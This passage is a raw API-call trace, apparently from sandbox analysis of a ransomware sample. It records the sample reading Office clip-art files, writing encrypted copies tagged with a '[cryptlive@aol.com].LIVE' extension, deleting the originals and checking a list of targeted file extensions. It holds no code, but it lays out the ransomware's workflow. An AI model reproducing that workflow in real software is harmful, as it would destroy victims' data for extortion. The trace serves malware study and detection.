hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.545] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.545] SetEndOfFile (hFile=0x1dc) returned 1 [0157.545] CloseHandle (hObject=0x1dc) returned 1 [0157.545] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.545] SetEndOfFile (hFile=0x1e0) returned 1 [0157.547] CloseHandle (hObject=0x1e0) returned 1 [0157.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0157.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.554] lstrlenW (lpString=".doc") returned 4 [0157.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.554] lstrlenW (lpString=".docx") returned 5 [0157.554] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.554] lstrlenW (lpString=".pdf") returned 4 [0157.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.555] lstrlenW (lpString=".xls") returned 4 [0157.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.555] lstrlenW (lpString=".xlsx") returned 5 [0157.668] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.669] lstrlenW (lpString=".ppt") returned 4 [0157.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.669] lstrlenW (lpString=".zip") returned 4 [0157.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.669] lstrlenW (lpString=".rar") returned 4 [0157.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.669] lstrlenW (lpString=".bz2") returned 4 [0157.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.669] lstrlenW (lpString=".7z") returned 3 [0157.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.669] lstrlenW (lpString=".dbf") returned 4 [0157.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.669] lstrlenW (lpString=".1cd") returned 4 [0157.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.669] lstrlenW (lpString=".jpg") returned 4 [0157.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.669] lstrlenW (lpString=".doc") returned 4 [0157.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.669] lstrlenW (lpString=".docx") returned 5 [0157.669] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.670] lstrlenW (lpString=".pdf") returned 4 [0157.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.670] lstrlenW (lpString=".xls") returned 4 [0157.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.670] lstrlenW (lpString=".xlsx") returned 5 [0157.670] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.670] lstrlenW (lpString=".ppt") returned 4 [0157.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.670] lstrlenW (lpString=".zip") returned 4 [0157.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.670] lstrlenW (lpString=".rar") returned 4 [0157.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.670] lstrlenW (lpString=".bz2") returned 4 [0157.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.670] lstrlenW (lpString=".7z") returned 3 [0157.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.670] lstrlenW (lpString=".dbf") returned 4 [0157.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.670] lstrlenW (lpString=".1cd") returned 4 [0157.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0157.670] lstrlenW (lpString=".jpg") returned 4 [0157.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.670] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.670] lstrlenW (lpString="J0107742.WMF") returned 12 [0157.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.671] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3644) returned 1 [0157.671] CloseHandle (hObject=0x1e0) returned 1 [0157.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 0x20 [0157.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.672] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.672] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0157.673] GetLastError () returned 0x0 [0157.674] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xe3c, lpOverlapped=0x0) returned 1 [0157.675] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe40, lpOverlapped=0x0) returned 1 [0157.676] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.676] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.676] SetEndOfFile (hFile=0x1dc) returned 1 [0157.677] CloseHandle (hObject=0x1dc) returned 1 [0157.677] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.677] SetEndOfFile (hFile=0x1e0) returned 1 [0157.679] CloseHandle (hObject=0x1e0) returned 1 [0157.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0157.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.680] lstrlenW (lpString=".doc") returned 4 [0157.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.680] lstrlenW (lpString=".docx") returned 5 [0157.680] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.680] lstrlenW (lpString=".pdf") returned 4 [0157.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".xls") returned 4 [0157.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.681] lstrlenW (lpString=".xlsx") returned 5 [0157.681] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.681] lstrlenW (lpString=".ppt") returned 4 [0157.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.681] lstrlenW (lpString=".zip") returned 4 [0157.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.681] lstrlenW (lpString=".rar") returned 4 [0157.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".bz2") returned 4 [0157.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".7z") returned 3 [0157.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.681] lstrlenW (lpString=".dbf") returned 4 [0157.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.681] lstrlenW (lpString=".1cd") returned 4 [0157.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.681] lstrlenW (lpString=".jpg") returned 4 [0157.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.681] lstrlenW (lpString=".doc") returned 4 [0157.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".docx") returned 5 [0157.681] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.681] lstrlenW (lpString=".pdf") returned 4 [0157.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".xls") returned 4 [0157.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.681] lstrlenW (lpString=".xlsx") returned 5 [0157.681] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.681] lstrlenW (lpString=".ppt") returned 4 [0157.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.682] lstrlenW (lpString=".zip") returned 4 [0157.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.682] lstrlenW (lpString=".rar") returned 4 [0157.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString=".bz2") returned 4 [0157.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString=".7z") returned 3 [0157.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.682] lstrlenW (lpString=".dbf") returned 4 [0157.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.682] lstrlenW (lpString=".1cd") returned 4 [0157.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0157.682] lstrlenW (lpString=".jpg") returned 4 [0157.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.682] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.682] lstrlenW (lpString="J0107744.WMF") returned 12 [0157.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.684] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5004) returned 1 [0157.684] CloseHandle (hObject=0x1e0) returned 1 [0157.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 0x20 [0157.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.684] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.684] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0157.685] GetLastError () returned 0x0 [0157.685] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x138c, lpOverlapped=0x0) returned 1 [0157.687] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1390, lpOverlapped=0x0) returned 1 [0157.688] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.688] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.688] SetEndOfFile (hFile=0x1dc) returned 1 [0157.688] CloseHandle (hObject=0x1dc) returned 1 [0157.688] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.688] SetEndOfFile (hFile=0x1e0) returned 1 [0157.691] CloseHandle (hObject=0x1e0) returned 1 [0157.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0157.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.693] lstrlenW (lpString=".doc") returned 4 [0157.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString=".docx") returned 5 [0157.693] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.693] lstrlenW (lpString=".pdf") returned 4 [0157.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString=".xls") returned 4 [0157.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.693] lstrlenW (lpString=".xlsx") returned 5 [0157.693] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.693] lstrlenW (lpString=".ppt") returned 4 [0157.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.693] lstrlenW (lpString=".zip") returned 4 [0157.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.693] lstrlenW (lpString=".rar") returned 4 [0157.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString=".bz2") returned 4 [0157.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString=".7z") returned 3 [0157.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.693] lstrlenW (lpString=".dbf") returned 4 [0157.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.693] lstrlenW (lpString=".1cd") returned 4 [0157.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.693] lstrlenW (lpString=".jpg") returned 4 [0157.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.693] lstrlenW (lpString=".doc") returned 4 [0157.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.693] lstrlenW (lpString=".docx") returned 5 [0157.693] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.694] lstrlenW (lpString=".pdf") returned 4 [0157.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString=".xls") returned 4 [0157.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.694] lstrlenW (lpString=".xlsx") returned 5 [0157.694] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.694] lstrlenW (lpString=".ppt") returned 4 [0157.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.694] lstrlenW (lpString=".zip") returned 4 [0157.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.694] lstrlenW (lpString=".rar") returned 4 [0157.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString=".bz2") returned 4 [0157.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString=".7z") returned 3 [0157.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.694] lstrlenW (lpString=".dbf") returned 4 [0157.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.694] lstrlenW (lpString=".1cd") returned 4 [0157.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0157.694] lstrlenW (lpString=".jpg") returned 4 [0157.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.694] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.694] lstrlenW (lpString="J0107746.WMF") returned 12 [0157.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.696] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4788) returned 1 [0157.696] CloseHandle (hObject=0x1e0) returned 1 [0157.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 0x20 [0157.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.696] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.696] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0157.697] GetLastError () returned 0x0 [0157.697] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x12b4, lpOverlapped=0x0) returned 1 [0157.699] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0157.700] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.700] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.700] SetEndOfFile (hFile=0x1dc) returned 1 [0157.700] CloseHandle (hObject=0x1dc) returned 1 [0157.700] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: 